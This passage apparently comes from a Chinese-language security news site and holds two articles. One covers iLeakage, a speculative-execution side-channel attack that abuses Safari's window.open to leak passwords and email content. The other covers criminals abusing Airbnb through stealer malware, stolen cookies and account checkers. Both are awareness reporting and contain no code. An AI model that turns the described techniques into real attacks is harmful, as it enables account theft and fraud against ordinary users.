研究人員在一篇附帶的研究論文(https://ileakage.com/files/ileakage.pdf)中這樣描述這種不受時間影響的變種:我們將所有上述構造的原語組合到一個不受時間影響的Spectre v1小工具概念驗證(PoC)。大體上而言,我們通過以下方法來做到這一點,即把洩露所推測的秘密信息的基於緩存時間的方法換成不受時間影響地區分緩存未命中和緩存命中的小工具。在這裡,我們展示了我們的攻擊在Safari、Firefox和Tor上擁有近乎完美的準確性。
萬事俱備攻擊要想成功,一台易受攻擊的計算機必須先訪問iLeakage網站,對於涉及YouTube、Gmail或任何其他特定Web資產的攻擊,用戶應該在攻擊網站打開的同時登錄到其帳戶。如前所述,攻擊者網站需要花大約5分鐘來探測訪問設備。然後,使用window.open JavaScript方法,iLeakage可以導致瀏覽器打開任何其他網站,開始以每秒24位到34位的速度竊取某些數據。
正如研究論文解釋的那樣:
我們先回顧一下,雖然Safari通常遵循嚴格的每個選項卡進程模式,但由window.open函數打開的頁面與父頁面共享渲染/呈現過程。因此,我們創建了一個將window.open綁定到onmouseover事件偵聽器的攻擊者頁面,以便我們在我們的地址空間打開任何網頁,只要目標的鼠標光標在頁面上。
我們注意到,即使目標關閉了打開的頁面,內存中的內容也不會立即被清除,從而使我們的攻擊得以繼續洩露秘密信息。最後,由於window.open執行整合,無論父網頁和打開網頁的來源是什麼,我們將我們攻擊者的網頁託管在一個非公開訪問的Web服務器上,同時使用window.open整合來自其他域的頁面。

圖5
許多目標很可能會識別出iLeakage生成的彈出窗口並關閉它。即使這樣,攻擊也會得逞,因為內容在內存中仍然完好無損,使iLeakage得以繼續洩露秘密信息。
可以恢復的數據類型包括:
•由憑據管理器自動填寫的密碼
•Gmail收件箱內容
•YouTube觀看歷史記錄
iLeakage是一種切實可行的攻擊,只需要很少的物理資源就可以實施,最大的挑戰是需要高超的技術專長。攻擊者不僅要有利用推測執行漏洞方面的多年經驗,還要對A系列和M系列芯片進行全面的逆向工程處理,以深入了解它們含有的側信道。沒有跡象表明這個漏洞以前被發現過,更不用說在外面被大肆利用了,這意味著這個漏洞很快被用於實際攻擊的可能性很小。
蘋果計劃推出的補丁,很可能會在iLeakage式的攻擊網站變得切實可行之前,早早實施到位。
HireHackking
愛彼迎(Airbnb)在全球10萬個活躍城市擁有超過700萬個房源,為廣大遊客提供了價位合理、環境舒適的住宿,但超旺的人氣也使其容易受到網絡犯罪分子、欺詐性房東、虛假帳戶及其他騙局的攻擊。
本文便著重探討了網絡犯罪分子如何利用愛彼迎及其用戶。
走近竊取器的世界為了了解網絡犯罪分子在如何利用愛彼迎,明白他們用來未經授權訪問帳戶的方法至關重要。
網絡犯罪分子經常使用一種名為“竊取器”(stealer)的惡意軟件來獲取用戶名和密碼等信息,這類竊取器其實是一種惡意軟件,滲入設備,並將竊取的數據(又名為日誌)傳輸給攻擊者。日誌通常被發送到服務器,但在一些情況下,日誌也可以通過電子郵件和Telegram等安全聊天程序來加以傳送。
竊取器可以通過各種不同的技術加以部署,包括社會工程、利用軟件漏洞和惡意廣告等技術。
此外,還有一個地下市場,網絡犯罪分子可以在這里大量買賣設備訪問權限(又叫機器人程序、安裝件或感染)。

圖1. 該截圖顯示了網絡犯罪分子在論壇上出售機器人程序
願意花錢的網絡犯罪分子可以聯繫機器人程序賣家或商店,立即開始在成千上萬個設備上部署竊取器。

圖2. 該截圖顯示了在一個臭名昭著的網絡犯罪論壇上可售的不同竊取器
竊取器可以入侵大多數瀏覽器,主要目標是網絡應用程序的帳戶信息。日誌通常遵循特定的格式,這包括多列,其中的一行行數據含有各種信息,比如姓名和信用卡或借記卡詳細信息等。除了獲取登錄憑據外,竊取器還可以洩露cookie。
cookie的重要性cookie是存儲在用戶設備上的小小的數據文件,其中含有關於用戶在特定網站上瀏覽活動和訪問偏好的信息,網絡犯罪分子經常在各種在線論壇上竊取、購買和出售愛彼迎帳戶的cookie。這樣一來,他們就可以暫時訪問愛彼迎帳戶,不需要相關的用戶名和密碼。

圖3. 該截圖顯示了網絡犯罪論壇上的一個用戶試圖購買愛彼迎cookie
比如說,網絡犯罪分子可以從受攻擊帳戶購買被盜的愛彼迎cookie數據庫,將cookie加載到瀏覽器中,並訪問受害者的帳戶。有了這種非法訪問權限,他們可以冒充真實用戶,預訂房源或執行其他未經授權的操作,而不會引發任何警報。然而需要注意的是,大多數會話cookie很快就會過期,因此網絡犯罪分子必須在會話過期之前迅速採取行動。
有利可圖的服務一旦網絡犯罪分子獲得了用戶帳戶信息或獲得竊取的cookie,他們的下一個目標通常就是從這些數據中牟利,一種標準的方法是直接向其他網絡犯罪分子出售受攻擊帳戶的信息或被盜的cookie。
這可以通過在在線論壇上打廣告來實現,也可以通過將一行行數據上傳到為這類交易提供便利的熱門商店來實現。

圖4. 該截圖顯示了一家大受歡迎的網絡犯罪商店出售愛彼迎帳戶
在寫這篇博文的時候,在上面提到的那家數字商店上有成千上萬個愛彼迎帳戶可供購買,令人震驚的是,大量被盜的帳戶使每個帳戶的價值縮水至區區1美元。
實際上,愛彼迎帳戶被盜的規模非常龐大,以至於攻擊者出售“帳戶檢查器”,這種自動化程序可以快速測試位於某個文本文件中的愛彼迎帳戶。

圖5. 該截圖顯示了為愛彼迎帳戶檢查器所打的廣告
這些帳戶檢查器背後的概念比較簡單。攻擊者可以將一個含有大量被盜憑據的文本文件加載到檢查器中,驗證哪些憑據有效、哪些憑據無效。一些檢查器還可以執行特定的操作,比如預房源。
網絡犯罪分子還提供服務,為愛彼迎預訂提供高達50%的折扣。

圖6. 該截圖顯示了一項服務對愛彼迎的所有預訂提供50%的折扣
很明顯,這類服務有利可圖,因為論壇上宣傳這些服務的帖子已經收到了數以萬計的瀏覽量和數以百計的回復量。
總而言之,網絡犯罪分子已經發現了利用愛彼迎從事欺詐活動的各種方法,通過使用竊取器和被盜的cookie未經授權訪問用戶帳戶。然後,這些洩露的信息被賣給其他網絡犯罪分子,或者被用來向買家提供折扣服務。被盜帳戶的規模相當大,數字商店裡已有成千上萬愛彼迎帳戶,以低至1美元的單價就能買到。
我們必須意識到風險,並採取必要的預防措施,以保護個人信息免受此類網絡威脅。